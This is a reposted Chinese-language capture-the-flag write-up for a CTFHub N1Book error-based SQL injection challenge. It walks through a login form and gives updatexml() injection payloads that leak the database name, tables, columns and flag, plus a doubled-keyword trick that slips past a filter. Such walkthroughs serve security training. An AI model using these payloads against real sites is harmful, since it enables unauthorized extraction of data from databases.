CTFHub_N1Book-SQL注入-2(報錯注入)


N1Book-第一章Web入門-CTF中的SQL注入-SQL注入-2

進入場景,顯示一個登錄框

查看網頁源代碼,找到注釋中的提示:在url中加入?tips=1出現報錯信息

<!-- 如果覺得太難了,可以在url后加入?tips=1 開啟mysql錯誤提示,使用burp發包就可以看到啦-->

可知本題考察報錯注入

1.嘗試獲取當前數據庫的庫名

name=xxx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&pass=xxx

 2.獲取表名

name=xxx' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx

報錯說明我們的sql語句被進行了某種替換,導致語法錯誤。嘗試雙寫繞過(不明白為啥第一次沒報錯?)

name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx

3.獲取字段名

name=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx

4.獲取flag

name=xxx' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)--+&pass=xxx


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM